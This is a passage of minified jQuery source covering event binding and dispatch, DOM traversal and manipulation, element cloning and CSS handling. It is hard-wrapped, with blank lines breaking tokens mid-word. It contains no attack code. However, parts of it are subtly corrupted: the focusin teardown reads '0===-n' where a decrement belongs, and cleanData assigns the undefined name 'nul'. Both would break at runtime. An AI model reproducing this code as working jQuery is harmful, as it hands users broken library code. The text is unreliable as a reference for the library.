v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.g
uid++),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){retur
n typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,ar
guments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--)s=rt.exec(n[u]
)||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?
p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origTy
pe:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsC
ontext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,
p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,
!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.g
uid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),x.even
t.global[g]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=
x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length
;while(u--)if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x
.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegE
xp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;while(o--)a=f[o],!i
&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector
&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove
&&p.remove.call(e,a));l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!=
=!1||x.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)x.event.remove(e,d
+t[u],n,r,!0);x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},
trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n
,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&
&8!==i.nodeType&&!nt.test(g+x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("
."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on"+g,n=n[x.expando]?n:new x.Even
t(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace
_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.resul
t=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]
||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(
i)){for(c=p.delegateType||g,nt.test(c+g)||(u=u.parentNode);u;u=u.parentNode)h.pu
sh(u),f=u;f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0
;while((u=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(x._da
ta(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.
acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault();if(n.type=g,!o&&!n
.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.accept
Data(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{
i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:func
tion(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,
"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTar
get=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.cal
l(this,e,u),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.e
lem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namesp
ace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.ev
ent.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result
=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.pos
tDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.de
legateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type))for(;u!=t
his;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type))
{for(o=[],a=0;l>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?x(r
,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i);o.length&&s.p
ush({elem:u,handlers:o})}return n.length>l&&s.push({elem:this,handlers:n.slice(l
)}),s},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,o=e,s=this.fi
xHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyH
ooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.le

ngth;while(t--)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||a),3===
e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter
?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPh
ase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHo
oks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,
t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mou
seHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX
pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.
button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerD
ocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX+(o&&o.scrollLeft||r&&r
.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(o&&o.sc
rollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarge
t&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?
1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(th
is!==at()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focus
in"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},
delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input
")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e)
{return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.resu
lt!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var
i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.tr
igger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefa
ult()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListene
r&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(t
ypeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return th
is instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isD
efaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.g
etPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.ti
meStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDe
faultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preve
ntDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.p
reventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){v
ar e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.st
opPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isI
mmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouse
over",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bi
ndType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(
!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,argument
s),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:funct
ion(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypres
s._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"but
ton")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",f
unction(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispat
ch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.is
Trigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){r
eturn x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.suppor
t.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.no
deName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"prope
rtychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._
just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_chang
ed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})
),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.te
st(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",fun
ction(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change"
,this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e)
{var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"
checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:functio
n(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.f
ocusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=
function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={

setup:function(){0===n++&&a.addEventListener(e,r,!0)},teardown:function(){0===-n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s
;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,
r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof
n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=
i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.gui
d=x.guid++)),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,
n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefau
lt&&e.handleObj)return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origT
ype+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e)
{for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&
&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},tri
gger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},trig
gerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});v
ar st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needs
Context,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(
e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(x(e)
.filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;
i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=t
his.selector?this.selector+" "+e:e,n},has:function(e){var t,n=x(e,this),r=n.leng
th;return this.filter(function(){for(t=0;r>t;t++)if(x.contains(this,n[t]))return
!0})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(
e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return!!ft(this,"str
ing"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=
0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for
(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>
-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.p
ushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof
e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].paren
tNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof
e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.p
ushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObje
ct:this.prevObject.filter(e))}});function pt(e,t){do e=e[t];while(e&&1!==e.nodeT
ype);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nod
eType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:fun
ction(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextS
ibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){r
eturn x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSiblin
g")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:functi
on(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sib
ling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.f
irstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument
||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=func
tion(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==
typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(
i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0]
;return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?x.find.matchesSelector
(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir
:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType
||!x(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){
var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});fun
ction ft(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(
e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if("st
ring"==typeof t){if(st.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.g
rep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("
|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createEleme
nt(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|d
etails|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|sec
tion|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[
\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)((

[\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/<tbody/i,wt=/<|&#?\w+;/,Tt=/<(?:script|st
yle|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt
=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]
|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,
"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</obj
ect>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"]
,col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table>
<tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]
:[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.op
tgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x
.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.tex
t(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e
))},null,e,arguments.length)},append:function(){return this.domManip(arguments,f
unction(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt
(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,
function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=L
t(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domMa
nip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)}
)},after:function(){return this.domManip(arguments,function(e){this.parentNode&&
this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r
=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanD
ata(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n
.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(
e=this[t]);t++){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild)e.remov
eChild(e.firstChild);e.options&&x.nodeName(e,"select")&&(e.options.length=0)}ret
urn this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(funct
ion(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function
(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHT
ML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerializ
e&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""]
)[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r++)n=this[r]||{}
,1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.em
pty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(th
is,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arg
uments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSi
bling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:f
unction(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);va
r r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>
=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h))return this.each(funct
ion(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)});if(c&
&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.ch
ildNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u++)i=l
,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u);if
(o)for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u++)i=a[u],kt.test(i.ty
pe||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.g
lobalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")));l=r=null}ret
urn this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.node
Type?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ow
nerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.fin
d.attr(e,"type"))+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.t
ype=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[
r]);r++)x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}function Mt(e,t){
if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.event
s;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)x.e
vent.add(t,n,s[n][r])}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var
n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&
&t[x.expando]){i=x._data(t);for(r in i.events)x.removeEvent(t,r,i.handle);t.remo
veAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"
object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.inn
erHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.

type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)
):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"tex
tarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependT
o:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},
function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r
++)n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get());return this.push
Stack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.g
etElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||
"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||x.nodeName(o,n)?s
.push(o):x.merge(s,Ft(o,n));return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}fu
nction Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:funct
ion(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone
||x.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.
outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.n
oCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e)))for(r=Ft(o),s=Ft(
e),a=0;null!=(i=s[a]);++a)r[a]&&Ot(i,r[a]);if(t)if(n)for(s=s||Ft(e),r=r||Ft(o),a
=0;null!=(i=s[a]);a++)Mt(i,r[a]);else Mt(e,o);return r=Ft(o,"script"),r.length>0
&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o
,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("objec
t"===x.type(o))x.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChil
d(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._
default,s.innerHTML=c[1]+o.replace(vt,"<$1></$2>")+c[2],i=c[0];while(i--)s=s.las
tChild;if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.e
xec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.tes
t(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)x.nodeName(u=o.childNod
es[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}x.merge(d,s.childNodes),s
.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}els
e d.push(t.createTextNode(o));s&&f.removeChild(s),x.support.appendChecked||x.gre
p(Ft(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===x.inArray(o,r))&&(a=x.contai
ns(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s
[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){va
r n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;
for(;null!=(n=e[s]);s++)if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events
)for(r in a.events)f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle);
u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(
l):n[l]=nul,p.push(o))}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",da
taType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:functio
n(e){if(x.isFunction(e))return this.each(function(t){x(this).wrapAll(e.call(this
,t))});if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].pare
ntNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&
1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wr
apInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInn
er(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?
n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.e
ach(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return
this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.
childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]
*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,V
t=RegExp("^("+w+")(.*)$","i"),Yt=RegExp("^("+w+")(?!px)[a-z%]+$","i"),Jt=RegExp(
"^([+-])=("+w+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hid
den",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bot
tom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;va
r n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,
t in e)return t;return r}function nn(e,t){return e=t||e,"none"===x.css(e,"displa
y")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.leng
th;for(;s>a;a++)r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,
t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._
data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._dat
a(r,"olddisplay",i?n:x.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"
none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none

"));return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r)


{var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=x.css(
e,n[s],!1,o);return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.leng
th>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},togg
le:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(fun
ction(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:
{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:
{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,o
rphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"css
Float":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeTyp
e&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps
[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t)return s&&"get"in s&&(o=s.get(
e,!1,i))!==t?o:u[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]
+parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"
!==a||x.cssNumber[l]||(r+="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf
("background")||(u[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{u[n]=r
}catch(c){}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssPro
ps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get"in s
&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r
||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=
function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r|
|Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains
(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.min
Width,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidt
h=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.
currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;retur
